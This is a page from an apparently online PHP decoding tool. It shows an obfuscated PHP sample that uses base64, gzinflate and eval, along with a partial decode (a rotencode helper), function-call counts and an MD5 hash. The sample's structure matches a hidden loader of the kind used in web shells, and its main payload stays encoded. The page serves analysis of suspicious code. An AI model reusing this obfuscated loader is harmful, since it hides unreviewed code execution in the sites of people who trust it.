Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==..
Decoded Output download
function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}
Did this file decode correctly?
Original Code
<?php
$keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==");
eval(gzinflate(base64_decode('hY7NCoJAFIVf5SQu5tIUzVpc9hxSeq0huwPzA4X47ikxEm7anu/82V7t+iRttE4aftkQgyq8iyyt67ggGjPFqqoyRG/lpsvL0yWJhBHlg9+oEdJ1ZqsBJw1DFWyvZmVgyYTq2iwxzzF5QXv3yvlOLS2EPXJxhQk8BP7vxHH5d/7+274wGpv5gyH9uzJNHw==')));
$O0O0O0O0O0O0=$keystroke1[2].$keystroke1[32].$keystroke1[20].$keystroke1[11].$keystroke1[23].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
$keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1);
$OO000OO000OO=$keystroke2[16].$keystroke2[12].$keystroke2[31].$keystroke2[23].$keystroke2[18].$keystroke2[24].$keystroke2[9].$keystroke2[20].$keystroke2[11];
$O0000000000O=$keystroke1[30].$keystroke1[9].$keystroke1[6].$keystroke1[11].$keystroke1[27].$keystroke1[8].$keystroke1[19].$keystroke1[1].$keystroke1[11].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
eval($OO000OO000OO(base64_decode('LZS3ru
NWAAV/xoB3wYJXzISxBSVSopjDZWwM5pwzv96vcH
PaGUxxsj1qf/2l6wCA/+dXHC0ZRfybZsmQZr/+Vl
IdvyfL4wS+bGmx8d2P2TwuCxBOeaMHeJfdp1caZo
/TI0FmmOteyM4oks3g4I0F3WkJyGc/4ZSijpTCsD
AZoPEIRUEzSS60IbARCD9JexbdbONsKJCzr76wlH
szn5Nq7810RJlOqrcIndCsdMabA8Gxm6i0FAXYty
gzkWm1d+hzZ5zzQq8d2qATnCUSfY5PVPnyYnq4BB
gF3qg/lcJBR4Wt6hl+Vx7Y4964iuasfjT7MinWmh
xkgILolopfs8GkrnhcUQT8O+pAYWuKndtzs+n5Si
OpwLOk16nb48Mnoneg3Vi1RZ/bugxlph+h1mSICe
ajvtpaR6ckWtN2TMoioNwv/vFJVY/pBNCzQFGP4y
CNVESuq0H3YB+iOyIbfb/vWUKBJdL+UW0Ids7LJd
UAVwtQUzXWDpUjEL6fNayx7cEB+9I5q7iLXvBua7
uxkuUNnNS/FT4viyik6f42e9uB1Kp8c20Q7GzOh9
V3pW80YIQbExEabhupvhELylHznPRn4kaeIDyTae
s0NgjVvYr5WLw/xxCzbGTPZRRjttETxvCtb6o2L2
Cn0g/J9EfOb7CEPoC/fy+KRZ09mbVev0jTuEWovC
txP3p3brt9nXYhlrYoY4RbbNrIcVcLWg/bp7rkEX
ZmrrDg3JdTETy6QNZzXLKLG527pJczZBeZmSihoN
PNvSr+MPINdloyH8oqtSGNOeZt2Pkks1AaBFbGHU
I+WTUTHoZM5hvSxnyJsy8+osRoUZlxlIOU3LJrou
FcN4GIQ4IeoRf1ftyKiT02gBK5I6G67nmf1A4CH2
1MMvCGGbsfcWae1Of2ytUrcgFWTKc0LHs9ctXeUT
/53qx3WHY6eq0Rp5irsAuRDfIB3dg/afK4n0ZmsG
cvBIS0zK/vGdRDtL3Mz2hO45C0TaWSVnOlWYOxFm
5g5sRwEdkHO1uHygsHU89gUElmvnISoywWvOT9Dh
751Fre3IRr1qHawrLcTzIe8FOnvxcb5vXzwvhdwZ
iVFm6nqOqUq/o1TqJwwl/dFR33kh+G+qI8AjyDZZ
8bz8nxizU7IzwBiTDLKQI0MDlyhlm4BFbBdJr9oP
xWHQ8pHgnzLDjaQuyj9Ec3fA80X1ygg6/zkXaIJ7
BT2DRllsRuoySS0PG1JyUc9bVr6FfuRV1P4ryL58
dusLAR5uRVoAFODKS1fSsp5L79NHXgOYgLEc80pX
Bt06OKxsUfrBt+ZD5OMiLZSL+ZUTQc66DpTy95Nb
f599kYklcypO2aHXqNkR3AiflOq8y+LZydEzUBaq
nIitYrLJqSufOu0H11ABrdn7QHKp5nReGdTFQ+5+
pK831GsgMcXg+eDv8c3n788yiuPHGEXpFAu19vlE
XzHadxFOGOP3/+/v379z//AQ==')));
?>
Function Calls
| gzinflate | 1 |
| base64_decode | 2 |
| function_exists | 1 |
| 11411111610111099111100101 | 1 |
Stats
| MD5 | 5b8e2d4cc86ebda29b2fedae2c0aa7ea |
| Eval Count | 1 |
| Decode Time | 111 ms |